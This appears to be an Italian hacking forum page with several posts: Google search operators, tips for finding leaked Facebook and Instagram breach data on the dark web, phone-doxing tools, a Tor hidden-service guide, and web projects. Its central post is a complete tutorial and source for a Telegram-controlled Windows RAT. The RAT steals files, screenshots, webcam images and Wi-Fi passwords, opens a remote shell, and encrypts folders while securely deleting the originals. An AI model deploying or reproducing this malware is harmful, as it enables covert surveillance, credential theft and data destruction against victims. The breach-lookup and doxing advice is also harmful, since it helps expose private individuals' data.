          Trova pagine web che contengono la frase esatta all'interno delle virgolette.
          Esempio: in “guida python”
          Utilizzato per cercare una frase esatta migliorando la precisione dei risultati.

        23. AROUND(X)
          Trova pagine web in cui le parole specificate sono entro una certa prossimità l'una dall'altra.
          Esempio: xss AROUND(3) web hacking
          Utile per ricerche di termini che devono apparire vicini tra loro nel testo.

        24. time:
          Visualizza l'ora attuale per una località specificata.
          Esempio: time:Londra
          Ora corrente in diverse località del mondo.

        25. to:
          Mostra risultati di ricerca all'interno di un intervallo specifico di numeri.
          Esempio: smartphone to:2020
          Utile per ricerche che richiedono un intervallo numerico come date o misurazioni.

        26. translate:
          Traduce la parola o la frase specificata in un'altra lingua.
          Esempio: translate:ciao to Spanish
          Sfrutta Google Translate per le traduzioni.

        27. connected
          Trova pagine web correlate all'argomento specificato.
          Esempio: connected:intelligenza artificiale
          Simile a related:, ma focalizzato su concetti o argomenti correlati.

        28. Site:[demo.com] -inurl:https
          Limita i risultati di ricerca a un sito web specifico ma esclude URL contenenti “https”.
          Esempio: Site:google.com -inurl:https
          Utile per trovare pagine HTTP su un sito che utilizza sia HTTP che HTTPS.

        29. [anno1]..[anno2]
          Limita i risultati di ricerca a un intervallo specifico di anni.
          Esempio: 2000..2010
          Rende facile cercare contenuti prodotti o pubblicati tra anni specifici.

      • Kindy Tools del genere non credo che esistano, puoi provare su Haveibeenzuckered a inserire il numero di telefono per vedere se è presente su un Data Breach di Facebook.

        Per dati più aggiornati prova a navigare su Torch o Ahmia da Tor browser magari con keywords ad esempio "Instagram Data Breach" trovi qualcosa sicuramente.

        • Un rat (Remote Access Trojan) è un malware che permette ad un attaccante di ottenere il controllo remoto di un computer infetto. Una volta che il RAT è in esecuzione l'aggressore può inviargli comandi e ricevere dati in risposta come se avesse il pieno controllo del PC (in questo caso Windows).
          Questo programma può essere visto anche come una specie di Anydesk o Lanschool quindi ruolo di controllo in ambito lavorativo (una shell di Windows e 300 righe di codice in Python sono sicuramente più leggeri dei programmi citati).

          Installazione:

          Il requisito iniziale è avere Python installato. Trovata l'ultima versione avviate il setup:

          Terminata l'installazione recatevi su Powershell, ora abbiamo bisogno di pip:
          Invoke-WebRequest -Uri https://bootstrap.pypa.io/get-pip.py -OutFile get-pip.py
          python get-pip.py

          Ora dovete salvarvi da qualche parte la directory con il rat (nel mio caso sui downloads), dopo aver creato la cartella aggiungete un file requirements.txt con scritto:

          mss
          opencv-python
          pyttsx3
          telebot
          clipboard
          secure-delete
          pyAesCrypt

          e il file ehfrat.py da riempire in seguito.

          Entriamo nella directory del rat sempre da Powershell:
          Set-Location -Path "C:\Users\samuele\Downloads\ehfrat"
          cd "C:\Users\samuele\Downloads\ehfrat"

          Infine:
          pip install -r requirements.txt

          Installati i requisiti basterà avviare il file Python (modificato):
          python ehfrat.py

          Codice:

          Aggiungiamo le librerie che useremo per ogni comando:

          import os
          import re
          import mss
          import cv2
          import time
          import pyttsx3
          import telebot
          import platform
          import clipboard
          import subprocess
          import pyAesCrypt
          from secure_delete import secure_delete
          • os: per interagire con il sistema operativo.
          • re: per le espressioni regolari.
          • mss: Per gli screenshot.
          • cv2: fa parte di OpenCV per gestire la webcam.
          • time
          • pyttsx3: sintesi vocale.
          • telebot: per collegare le API di Telegram.
          • platform: per le info sull'os.
          • clipboard: per accedere alla clipboard (oggetti copiati).
          • subprocess: per lanciare comandi.
          • pyAesCrypt: per criptare e decriptare file.
          • secure_delete: per eliminare i file originali dopo averli criptati.

          Definiamo il bot con il relativo webhook:

          BOT_TOKEN='qui'
          telegram_bot=telebot.TeleBot(BOT_TOKEN)
          current_directory=os.path.expanduser("~")
          secure_delete.secure_random_seed_init()
          telegram_bot.set_webhook()

          Per generare il token dovrete recarvi da @BotFather su Telegram:

          Aggiungiamo una guida iniziale per una legenda:

          @telegram_bot.message_handler(commands=['start'])
          def start_handler(msg):
              telegram_bot.send_message(msg.chat.id, (
                  'Welcome! Send /screen to capture screenshot.\n'
                  '/sys to get system information.\n'
                  '/ip to get IP address.\n'
                  '/cd to navigate in folders.\n'
                  '/ls to list elements.\n'
                  '/upload [path] to get file.\n'
                  '/crypt [path] to encrypt folder files.\n'
                  '/decrypt [path] to decrypt folder files.\n'
                  '/webcam to capture a webcam image.\n'
                  '/lock to lock the session.\n'
                  '/clipboard to get clipboard content.\n'
                  '/shell to enter remote shell interface.\n'
                  '/wifi to get Wi-Fi passwords.\n'
                  '/speech [text] to convert text to speech.\n'
                  '/shutdown to shut down the system.'
              ))

          Comando per screen:

          @telegram_bot.message_handler(commands=['screen'])
          def screen_handler(msg):
              with mss.mss() as screenshot:
                  screenshot.shot(output=f"{current_directory}/capture.png")
              image_path = f"{current_directory}/capture.png"
              with open(image_path, "rb") as photo:
                  telegram_bot.send_photo(msg.chat.id, photo)

          Info su IP:

          @telegram_bot.message_handler(commands=['ip'])
          def ip_handler(msg):
              try:
                  command_ip = "curl ipinfo.io/ip"
                  result = subprocess.check_output(command_ip, shell=True)
                  public_ip = result.decode("utf-8").strip()
                  telegram_bot.send_message(msg.chat.id, public_ip)
              except:
                  telegram_bot.send_message(msg.chat.id, 'Error retrieving IP address.')

          Info sul sistema operativo:

          @telegram_bot.message_handler(commands=['sys'])
          def system_info_handler(msg):
              sys_info = {
                  'Platform': platform.platform(),
                  'System': platform.system(),
                  'Node Name': platform.node(),
                  'Release': platform.release(),
                  'Version': platform.version(),
                  'Machine': platform.machine(),
                  'Processor': platform.processor(),
                  'CPU Cores': os.cpu_count(),
                  'Username': os.getlogin(),
              }
              info_text = '\n'.join(f"{key}: {value}" for key, value in sys_info.items())
              telegram_bot.send_message(msg.chat.id, info_text)

          Elenco dei file (ls):

          @telegram_bot.message_handler(commands=['ls'])
          def list_directory_handler(msg):
              try:
                  contents = os.listdir(current_directory)
                  if not contents:
                      telegram_bot.send_message(msg.chat.id, "Folder is empty.")
                  else:
                      response = "Directory content:\n"
                      response += "\n".join(f"- {item}" for item in contents)
                      telegram_bot.send_message(msg.chat.id, response)
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Cambia directory (cd):

          @telegram_bot.message_handler(commands=['cd'])
          def change_directory_handler(msg):
              try:
                  global current_directory
                  args = msg.text.split(' ')
                  if len(args) >= 2:
                      new_directory = args[1]
                      new_path = os.path.join(current_directory, new_directory)
                      if os.path.exists(new_path) and os.path.isdir(new_path):
                          current_directory = new_path
                          telegram_bot.send_message(msg.chat.id, f"You are now in: {current_directory}")
                      else:
                          telegram_bot.send_message(msg.chat.id, "The directory does not exist.")
                  else:
                      telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /cd [folder name]")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Carica file:

          @telegram_bot.message_handler(commands=['upload'])
          def upload_handler(msg):
              try:
                  args = msg.text.split(' ')
                  if len(args) >= 2:
                      file_path = args[1]
                      if os.path.exists(file_path):
                          with open(file_path, 'rb') as file:
                              telegram_bot.send_document(msg.chat.id, file)
                          telegram_bot.send_message(msg.chat.id, "File has been transferred successfully.")
                      else:
                          telegram_bot.send_message(msg.chat.id, "The specified path does not exist.")
                  else:
                      telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /upload [PATH]")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Cripta i file in una cartella:

          @telegram_bot.message_handler(commands=['crypt'])
          def encrypt_folder_handler(msg):
              try:
                  if len(msg.text.split()) >= 2:
                      folder_to_encrypt = msg.text.split()[1]
                      password = "Your_strong_password"
                      for root, dirs, files in os.walk(folder_to_encrypt):
                          for file in files:
                              file_path = os.path.join(root, file)
                              encrypted_file_path = file_path + '.crypt'
                              pyAesCrypt.encryptFile(file_path, encrypted_file_path, password)
                              if not file_path.endswith('.crypt'):
                                  secure_delete.secure_delete(file_path)
                      telegram_bot.send_message(msg.chat.id, "Folder encrypted and original files securely deleted successfully.")
                  else:
                      telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /crypt [FOLDER_PATH]")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Decripta file:

          @telegram_bot.message_handler(commands=['decrypt'])
          def decrypt_folder_handler(msg):
              try:
                  if len(msg.text.split()) >= 2:
                      folder_to_decrypt = msg.text.split()[1]
                      password = "Your_strong_password"
                      for root, dirs, files in os.walk(folder_to_decrypt):
                          for file in files:
                              if file.endswith('.crypt'):
                                  file_path = os.path.join(root, file)
                                  decrypted_file_path = file_path[:-6]
                                  pyAesCrypt.decryptFile(file_path, decrypted_file_path, password)
                                  secure_delete.secure_delete(file_path)
                      telegram_bot.send_message(msg.chat.id, "Folder decrypted and encrypted files deleted successfully.")
                  else:
                      telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /decrypt [ENCRYPTED_FOLDER_PATH]")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Blocca sessione:

          @telegram_bot.message_handler(commands=['lock'])
          def lock_handler(msg):
              try:
                  result = subprocess.run(["rundll32.exe", "user32.dll,LockWorkStation"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                  if result.returncode == 0:
                      telegram_bot.send_message(msg.chat.id, "Windows session successfully locked.")
                  else:
                      telegram_bot.send_message(msg.chat.id, "Unable to lock Windows session.")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Spegnimento:

          shutdown_commands = [
              ['shutdown', '/s', '/t', '5'],
              ['shutdown', '-s', '-t', '5'],
              ['shutdown.exe', '/s', '/t', '5'],
              ['shutdown.exe', '-s', '-t', '5'],
          ]
          
          @telegram_bot.message_handler(commands=['shutdown'])
          def shutdown_handler(msg):
              try:
                  success = False
                  for cmd in shutdown_commands:
                      result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                      if result.returncode == 0:
                          success = True
                          break
                  if success:
                      telegram_bot.send_message(msg.chat.id, "Shutdown in 5 seconds.")
                  else:
                      telegram_bot.send_message(msg.chat.id, "Unable to shutdown.")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Per scattare foto dalla webcam:

          @telegram_bot.message_handler(commands=['webcam'])
          def webcam_handler(msg):
              try:
                  cap = cv2.VideoCapture(0)
                  if not cap.isOpened():
                      telegram_bot.send_message(msg.chat.id, "Error: Unable to open the webcam.")
                  else:
                      ret, frame = cap.read()
                      if ret:
                          cv2.imwrite("webcam.jpg", frame)
                          with open("webcam.jpg", 'rb') as photo_file:
                              telegram_bot.send_photo(msg.chat.id, photo=photo_file)
                          os.remove("webcam.jpg")
                      else:
                          telegram_bot.send_message(msg.chat.id, "Error while capturing the image.")
                  cap.release()
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Sintesi vocale:

          @telegram_bot.message_handler(commands=['speech'])
          def speech_handler(msg):
              try:
                  text = msg.text.replace('/speech', '').strip()
                  if text:
                      pyttsx3.speak(text)
                      telegram_bot.send_message(msg.chat.id, "Text spoken successfully.")
                  else:
                      telegram_bot.send_message(msg.chat.id, "Use like this: /speech [TEXT]")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Stati utente per le shell:

          user_states = {}
          STATE_NORMAL = 1
          STATE_SHELL = 2
          
          @telegram_bot.message_handler(commands=['shell'])
          def shell_handler(msg):
              user_id = msg.from_user.id
              user_states[user_id] = STATE_SHELL
              telegram_bot.send_message(user_id, "You are now in the remote shell interface. Type 'exit' to exit.")
          
          @telegram_bot.message_handler(func=lambda msg: get_user_state(msg.from_user.id) == STATE_SHELL)
          def handle_shell_commands(msg):
              user_id = msg.from_user.id
              command = msg.text.strip()
              if command.lower() == 'exit':
                  telegram_bot.send_message(user_id, "Exiting remote shell interface.")
                  user_states[user_id] = STATE_NORMAL
              else:
                  try:
                      process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                      stdout, stderr = process.communicate()
                      if stdout:
                          output = stdout.decode('utf-8', errors='ignore')
                          send_long_message(user_id, f"Command output:\n{output}")
                      if stderr:
                          error_output = stderr.decode('utf-8', errors='ignore')
                          send_long_message(user_id, f"Command error output:\n{error_output}")
                  except Exception as e:
                      telegram_bot.send_message(user_id, f"An error occurred: {str(e)}")
          
          def get_user_state(user_id):
              return user_states.get(user_id, STATE_NORMAL)
          
          def send_long_message(user_id, message_text):
              part_size = 4000
              message_parts = [message_text[i:i+part_size] for i in range(0, len(message_text), part_size)]
              for part in message_parts:
                  telegram_bot.send_message(user_id, part)

          Password wifi:

          @telegram_bot.message_handler(commands=['wifi'])
          def wifi_handler(msg):
              try:
                  subprocess.run(['netsh', 'wlan', 'export', 'profile', 'key=clear'], shell=True, text=True)
                  with open('Wi-Fi-App.xml', 'r') as file:
                      xml_content = file.read()
                  ssid_match = re.search(r'<name>(.*?)<\/name>', xml_content)
                  password_match = re.search(r'<keyMaterial>(.*?)<\/keyMaterial>', xml_content)
                  if ssid_match and password_match:
                      ssid = ssid_match.group(1)
                      password = password_match.group(1)
                      message_text = f"SSID: {ssid}\nPASS: {password}"
                      telegram_bot.send_message(msg.chat.id, message_text)
                      try:
                          os.remove("Wi-Fi-App.xml")
                      except:
                          pass
                  else:
                      telegram_bot.send_message(msg.chat.id, "Wi-Fi credentials not found.")
              except Exception as e:
                  telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

          Bot in ascolto:

          if __name__ == "__main__":
              print('Waiting for commands...')
              try:
                  telegram_bot.infinity_polling()
              except:
                  time.sleep(10)

          Video dimostrazione:

        • Probabilmente l'elemento con id="text" non viene trovato nel DOM (quindi input null) e il fatto di leggere value di null causa un errore.
          Ti consiglio di controllare che id="text", id="button" e id="h2" esistano.
          L'errore potrebbe essere dovuto anche alla posizione del codice JS (deve essere alla fine del body).
          Fammi sapere!

        • Kindy Dall'errore che hai ricevuto molto probabilmente Python non trova il file requirements.txt nella directory del tool. Sei sicuro di avere Python installato?
          Per vedere se è installato Python e pip prova a lanciare i comandi python --version e pip --version.

          Per installare Python:
          pkg install python
          pkg install python-pip
          python3 -m pip install -r requirements.txt (nella directory del tool)

          Inoltre la versione scaricabile dal Play Store di Termux non è aggiornata e da problemi! Se ancora non risolvi installando Python ti consiglio di scaricare un apk online o ancora meglio scaricarla da F-Droid come menzionato nella discussione di Kali Nethunter.

        • Kindy Termux, shell di Linux o cmd non ha importanza, nei casi più comuni basta Python installato.
          In questa discussione di Google Cloud Shell nel codice bash ho inserito PhoneInfoga e DoxPhone. Non ti garantisco la loro efficacia o almeno per l'Italia...

          Per Phoneinfoga:
          $ git clone https://github.com/sundowndev/PhoneInfoga
          $ cd PhoneInfoga/
          $ python3 -m pip install -r requirements.txt
          Esempio uso: $ python3 phoneinfoga.py -n "(+39)0000000000" -s all --osint

          DoxPhone:
          $ git clone https://github.com/LCA-HACK/DoxPhone
          $ cd DoxPhone
          $ python3 instalacion.py
          $ python3 DoxPhone.py

          Fammi sapere!😃

          • In questa guida vedremo come creare il nostro hidden service personale su Tor. Questa guida è diffusa a scopo informativo, creare un sito .onion nel deep web di per sé non è illegale, il fine invece lo determina.
            Il sistema operativo utilizzato è ParrotOS Home su VM, distro debian-based.

            Iniziamo installando Tor da terminale con il comando:

            sudo apt install tor torbrowser-launcher

            Completata l'installazione, scarichiamo il tool che ci permetterà di generare il dominio nella darknet: mkp224o

            git clone https://github.com/cathugger/mkp224o

            cd mkp224o

            Installiamo anche libsodium, tool molto usato per criptare password anche in hash:
            sudo apt install autoconf libsodium-dev

            Torniamo al tool e iniziamo a configurarlo! Nella cartella mkp224o:
            ./autogen.sh
            ./configure

            Infine:
            make

            Ora possiamo generare i nostri domini .onion:
            ./mkp224o -S 5 -d onions esempio
            Al posto di "esempio" vi sconsiglio di inserire nomi lunghi, già con "samueleex" fa molta fatica.

            Gli indirizzi generati vengono memorizzati in una cartella "onions", per accedere a questa cartella:

            Come potete vedere dentro ogni cartella ci sono 3 file:

            Con un'altra shell andiamo a creare la cartella tor_services:
            mkdir tor_services
            ed entriamo:
            cd tor_services

            Andiamo ad eseguire il server con Python:
            python3 -m http.server --bind 127.0.0.1 8080

            Sulla cartella tor_services e create i file del sito, nel mio caso html, css e js.

            Per verificare che tutto sia avvenuto con successo andate su http://localhost:8080 con un browser:

            Andiamo a configurare Tor! Per farlo aprite un'altra shell o scrivete cd per uscire dalle cartelle. Entriamo nella cartella principale di Tor:

            Successivamente nano torrc per modificarlo, e andate alla riga in foto per togliere i due "#" e andare da 80 a 8080 nella seconda riga:

            Dopo salvate quindi ctrl+x e invio.

            In un terminale avviamo tor:
            sudo tor

            In un altro entriamo nella cartella hidden service per vedere l'indirizzo generato:

            Ecco fatto!

          • In questa discussione vedremo com'è strutturato un generatore di password in Javascript, utile esercizio per fare pratica con vettori, cicli e alert.
            Iniziamo a definire le variabili che andremo ad usare generateBtn, lowercaseChars, uppercaseChars, numberChars, specialChars, e password.
            generateBtn è il riferimento all'elemento che sta sull'HTML con l'ID "generate" cioè il pulsante.
            lowercaseChars, uppercaseChars, numberChars, e specialChars contengono i caratteri che possono essere utilizzati nella password.
            Definiamo la funzione generateSinglePassword che prende i parametri le info della password che fornisce l'utente tramite gli alert, quinid lunghezza della password e quattro booleani (true o false): minuscole, maiuscole, numeri e caratteri speciali nella password.
            selectedChars tiene conto della lunghezza scelta dall'utente.
            Viene poi generata la password vera e propria in base alla lunghezza specificata e selezionando caratteri casuali da selectedChars e infine viene resitutita.
            La funzione principale è generatePassword perché gestisce tutta la logica per la generazione della password.
            Verifica se l'utente ha effettuato almeno una scelta (altrimenti restituisce un messaggio di errore) e si chiede all'utente quante password vuole generare.
            Per generare il numero di password specificate dall'utente si ripete generateSinglePassword con un for.
            Alla fine le password vengono generate nell'elemento HTML con ID "password".
            La riga finale "collega" il pulsante con ID "generate" alla funzione generatePassword in modo che quando viene cliccato il pulsante la funzione generatePassword viene eseguita per generare le password.

            LINK GITHUB

            LINK TOOL

            Codice:

            Javascript:

            // vettori con i caratteri che verranno usati
            var generateBtn=document.querySelector("#generate");
            var lowercaseChars="abcdefghijklnopqrstuvwxyz";
            var uppercaseChars="ABCDEFGHIJKLONPQURSTUVWXYZ";
            var numberChars="1234567890";
            var specialChars="=+!@#$%^&*()[]";
            var password="";
            
            // info psw
            function generateSinglePassword(length, lowerCase, upperCase, numbers, special) {
                var selectedChars="";
            
                // scelte
                if (lowerCase){
                    selectedChars+=lowercaseChars;
                }
                if (upperCase){
                    selectedChars+=uppercaseChars;
                }
                if (numbers){
                    selectedChars+=numberChars;
                }
                if (special){
                    selectedChars+=specialChars;
                }
            
                // vero e proprio psw gen
                var generatedPassword="";
                for (var i=0; i<length; i++) {
                    generatedPassword += selectedChars.charAt(Math.floor(Math.random() * selectedChars.length));
                }
            
                return generatedPassword;
            }
            
            // funzione gen
            function generatePassword() {
                // info per la generazione
                var passwordLength=prompt("Quanto lunga deve essere la password? Minimo 8 caratteri e massimo 128 caratteri.");
                if (passwordLength<8 || passwordLength>128 || isNaN(passwordLength)) {
                    alert("La lunghezza deve essere compresa tra 8 e 128 caratteri.");
                    return;
                }
            
                var lowerCase=confirm("Minuscole?");
                var upperCase=confirm("Maiuscole?");
                var numbers=confirm("Numeri?");
                var special=confirm("Caratteri speciali?");
            
                // almeno una scelta!!!
                if (!(lowerCase || upperCase || numbers || special)) {
                    alert("Almeno una scelta! Stai programmando in Whitespace??");
                    return;
                }
            
                // alert num psw
                var numberOfPasswords = prompt("Quante password vuoi generare?");
                if (numberOfPasswords===null || isNaN(numberOfPasswords) || numberOfPasswords<1) {
                    alert("Inserisci un numero valido di password da generare.");
                    return;
                }
            
                var generatedPasswords="";
                // ciclo per generare il numero di password
                for (var j=0; j<numberOfPasswords; j++) {
                    generatedPasswords += generateSinglePassword(passwordLength, lowerCase, upperCase, numbers, special)+"\n";
                }
            
                // restituisci psw generate
                var passwordText=document.querySelector("#password");
                passwordText.textContent = generatedPasswords;
            }
            
            // indice per il tasto genera
            generateBtn.addEventListener("click", generatePassword);

            HTML:

            <!DOCTYPE html>
            <html lang="en">
              <head>
                <meta charset="UTF-8" />
                <meta name="viewport" content="width=device-width, initial-scale=1.0" />
                <meta http-equiv="X-UA-Compatible" content="ie=edge" />
                <title>Generatore di password</title>
                <link rel="stylesheet" href="style.css" />
              </head>
              <body>
                <div class="wrapper">
                  <header>
                    <h1>PSWGEN!</h1>
                  </header>
                  <div class="card">
                    <div class="card-header">
                      <h2>Inizia a generare!</h2>
                    </div>
                    <div class="card-body">
                      <textarea
                        readonly
                        id="password" 
                        placeholder="Campo del risultato"
                        aria-label="PSW GENERATA"
                      ></textarea> 
                      <!-- where generatePassword displays on the -->
                    </div>
                    <div class="card-footer">
                      <!-- line 2 of js -->
                      <button id="generate" class="btn">Genera password!</button> 
                    </div>
                  </div>
                </div>
                <script src="./script.js"></script>
              <credit>
                <h4>by Samueleex</h4>
              </credit>
              </body>
            </html>

            CSS:

            *,
            *::before,
            *::after {
              box-sizing: border-box;
            }
            
            html,
            body {
              height: 100%;
              margin: 2%;
              padding: 0;
              font-family: 'Roboto', sans-serif;
              background-color: #f0f2f5;
            }
            
            .container {
              max-width: 1200px;
              margin: 0 auto;
              padding: 20px;
            }
            
            header {
              text-align: center;
              padding: 20px;
              color: #333;
            }
            
            .card {
              background-color: #fff;
              border-radius: 8px;
              box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
              color: #333;
              font-size: 18px;
              margin-bottom: 30px;
              padding: 30px;
            }
            
            .card-header::after,
            .card-footer::before {
              content: "";
              display: block;
              width: 100%;
              height: 1px;
              background: #ccc;
              margin: 20px 0;
            }
            
            .card-body {
              min-height: 100px;
            }
            
            .card-footer::after {
              content: "";
              display: table;
              clear: both;
            }
            
            .btn {
              border: none;
              background-color: #ff7300;
              border-radius: 25px;
              box-shadow: 0 2px 4px rgb(255, 115, 0, 0.2);
              color: #fff;
              font-size: 18px;
              line-height: 1;
              margin: 16px 0;
              padding: 12px 24px;
              text-align: center;
              cursor: pointer;
              transition: background-color 0.3s ease;
            }
            
            .btn:hover {
              background-color: #b35f00;
            }
            
            button[disabled] {
              cursor: not-allowed;
              background: #ccc;
            }
            
            .float-right {
              float: right;
            }
            
            #password {
              border: 2px dashed #ccc;
              border-radius: 6px;
              padding: 15px;
              font-size: 16px;
              width: 100%;
              min-height: 100px;
              max-height: 300px;
              overflow-y: auto;
              text-align: center;
            }
            
            credit {
              text-align: center;
              padding: 20px;
              color: #333;
            }
            
            
            @media (max-width: 690px) {
              .btn,
              #password {
                font-size: 16px;
              }
            }
            
            @media (max-width: 500px) {
              .btn,
              #password {
                font-size: 14px;
              }
            }
          • Questo sito vi permette di cercare nickname GitHub con un click senza perdere tempo con l'interfaccia leggermente più complessa del sito ufficiale.

            CERCA NICKNAME (SITO)

            GITHUB REPO

            Il sito web è stato creato in HTML, CSS, SCSS e Javascript.
            Nel file Javascript ho organizzato gli elementi HTML nell'oggetto elements che corrispondono all'avatar, nick, biografia, data di creazione, attività (numero di repository, follower e following) e info personali come luogo ecc...
            fetchUser si occupa di recuperare i dati dell'utente da GitHub tramite una richiesta API (api.github.com), se questa operazione ha successo viene richiamata updateDOM per aggiornare il client altrimenti viene restituito un errore.
            updateDOM anche se non l'ho specificato sfrutta elements per inserire i dati corrispondenti nei rispettivi elementi HTML.
            Inoltre ho aggiunto diversi eventi per gestire i click, ad esempio il click sulla barra di ricerca e l'invio sulla tastiera. Entrambi richiamano fetchUser con il valore inserito nell'input (barra di ricerca).
            Gli altri file CSS e SCSS potete vederli qui sotto o su Github!

            Struttura del codice:

            - / assets
            
             - / images
              - favicon e immagini varie (vedi GitHub)
            
             - / js
              - darkMode.js
              - script.js
            
             - / scss
              - _ main.scss
              - _ mixins.scss
              - style.scss
            
             - / styles
              - style.css
              - style.css.map
            
            
            - index.html

            Codice:

            Assets

            / js:
            darkMode.js:

            let darkMode = localStorage.getItem("darkMode");
            
            const colorName = document.querySelector(".colorMode p");
            const colorIcon = document.querySelector(".colorMode path");
            const originalAttribute = colorIcon.getAttribute("d");
            
            //Social SVG
            const socialSvg = document.querySelectorAll(".social__link path");
            const websiteSvg = document.querySelector(".social__link:nth-child(3) g");
            
            const enabledarkMode = () => {
              document.body.classList.add("darkMode");
            
              colorName.textContent = "Light";
              colorIcon.setAttribute(
                "d",
                "M13.545 6.455c-.9-.9-2.17-1.481-3.545-1.481a4.934 4.934 0 00-3.545 1.481c-.9.9-1.481 2.17-1.481 3.545 0 1.376.582 2.646 1.481 3.545.9.9 2.17 1.481 3.545 1.481a4.934 4.934 0 003.545-1.481c.9-.9 1.481-2.17 1.481-3.545a4.934 4.934 0 00-1.481-3.545zM10 3.413a.7.7 0 00.688-.688V.688A.7.7 0 0010 0a.7.7 0 00-.688.688v2.037a.7.7 0 00.688.688zM15.635 5.344l1.455-1.455a.67.67 0 000-.952.67.67 0 00-.952 0l-1.455 1.455a.67.67 0 000 .952c.238.264.66.264.952 0zM19.312 9.312h-2.037a.7.7 0 00-.688.688.7.7 0 00.688.688h2.037A.7.7 0 0020 10a.7.7 0 00-.688-.688zM15.608 14.656a.67.67 0 00-.952 0 .67.67 0 000 .952l1.455 1.455a.67.67 0 00.952 0 .67.67 0 000-.952l-1.455-1.455zM10 16.587a.7.7 0 00-.688.688v2.037A.7.7 0 0010 20a.7.7 0 00.688-.688v-2.037a.7.7 0 00-.688-.688zM4.365 14.656L2.91 16.111a.67.67 0 000 .952.67.67 0 00.952 0l1.455-1.455a.67.67 0 000-.952c-.238-.264-.66-.264-.952 0zM3.413 10a.7.7 0 00-.688-.688H.688A.7.7 0 000 10a.7.7 0 00.688.688h2.037A.7.7 0 003.413 10zM4.365 5.344a.67.67 0 00.952 0 .67.67 0 000-.952L3.862 2.937a.67.67 0 00-.952 0 .67.67 0 000 .952l1.455 1.455z"
              );
            
              socialSvg.forEach((svg) => {
                svg.style.fill = "#FFF";
              });
              websiteSvg.style.fill = "#FFF";
            
              localStorage.setItem("darkMode", "enabled");
            };
            
            const disableDarkMode = () => {
              document.body.classList.remove("darkMode");
            
              // Reset styles to default mode
              colorName.textContent = "Dark";
              colorName.style.color = "";
              colorIcon.setAttribute("d", originalAttribute);
            
              // Reset SVG fills to default
              socialSvg.forEach((svg) => {
                svg.style.removeProperty("fill");
              });
              websiteSvg.style.removeProperty("fill");
            
              localStorage.setItem("darkMode", null);
            };
            
            if (darkMode === "enabled") {
              enabledarkMode();
            }
            
            const colorMode = document.querySelector(".colorMode");
            
            colorMode.addEventListener("click", () => {
              darkMode = localStorage.getItem("darkMode");
              if (darkMode !== "enabled") {
                enabledarkMode();
              } else {
                disableDarkMode();
              }
            });

            script.js:

            const elements = {
              avatar: {
                container: document.querySelector(".left"),
                image: document.createElement("img")
              },
              nameAndLogin: {
                container: document.querySelector(".middle"),
                name: document.createElement("h1"),
                login: document.createElement("h2")
              },
              bio: {
                container: document.querySelector(".bio"),
                paragraph: document.createElement("p")
              },
              creationDate: {
                container: document.querySelector(".right"),
                paragraph: document.createElement("p")
              },
              activity: {
                repos: {
                  container: document.querySelector(".activity__data:nth-child(1)"),
                  count: document.createElement("h4")
                },
                followers: {
                  container: document.querySelector(".activity__data:nth-child(2)"),
                  count: document.createElement("h4")
                },
                following: {
                  container: document.querySelector(".activity__data:nth-child(3)"),
                  count: document.createElement("h4")
                }
              },
              social: {
                city: {
                  container: document.querySelector(".social__link:nth-child(1)"),
                  info: document.createElement("p"),
                  svg: document.querySelector(".social__link:nth-child(1) path")
                },
                twitter: {
                  container: document.querySelector(".social__link:nth-child(2)"),
                  account: document.createElement("a"),
                  svg: document.querySelector(".social__link:nth-child(2) path")
                },
                website: {
                  container: document.querySelector(".social__link:nth-child(3)"),
                  link: document.createElement("a"),
                  svg: document.querySelector(".social__link:nth-child(3) g")
                },
                company: {
                  container: document.querySelector(".social__link:nth-child(4)"),
                  name: document.createElement("a"),
                  svg: document.querySelector(".social__link:nth-child(4) path")
                }
              },
              errorMessage: document.querySelector(".error")
            };
            
            async function fetchUser(username) {
              elements.errorMessage.style.display = "none";
            
              try {
                const response = await fetch(`https://api.github.com/users/${username}`);
                const parsedResponse = await response.json();
            
                if (!response.ok) {
                  return (elements.errorMessage.style.display = "block");
                }
            
                return updateDOM(parsedResponse);
              } catch (err) {
                return console.log(err);
              }
            }
            
            function updateDOM(data) {
              const { avatar, nameAndLogin, bio, creationDate, activity, social } = elements;
            
              avatar.image.src = data.avatar_url;
              avatar.image.alt = "Profile avatar";
              avatar.container.appendChild(avatar.image);
            
              nameAndLogin.name.innerText = data.name;
              nameAndLogin.login.innerText = `@${data.login}`;
              nameAndLogin.container.appendChild(nameAndLogin.name);
              nameAndLogin.container.appendChild(nameAndLogin.login);
            
              // Bio
              if (data.bio === null) {
                bio.paragraph.innerText = "This profile has no bio";
                bio.paragraph.style.opacity = 0.5;
              } else {
                bio.paragraph.style.opacity = 1;
                bio.paragraph.innerText = data.bio;
              }
              bio.container.appendChild(bio.paragraph);
            
              // Creation date
              const joinDate = new Date(data.created_at);
              const months = [
                "Jan", "Feb", "Mar", "Apr", "May", "Jun",
                "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
              ];
              const dateFormat = `${joinDate.getDate()} ${months[joinDate.getMonth()]} ${joinDate.getFullYear()}`;
              creationDate.paragraph.innerText = `Joined ${dateFormat}`;
              creationDate.container.appendChild(creationDate.paragraph);
            
              // Activity
              activity.repos.count.innerText = data.public_repos;
              activity.repos.container.appendChild(activity.repos.count);
            
              activity.followers.count.innerText = data.followers;
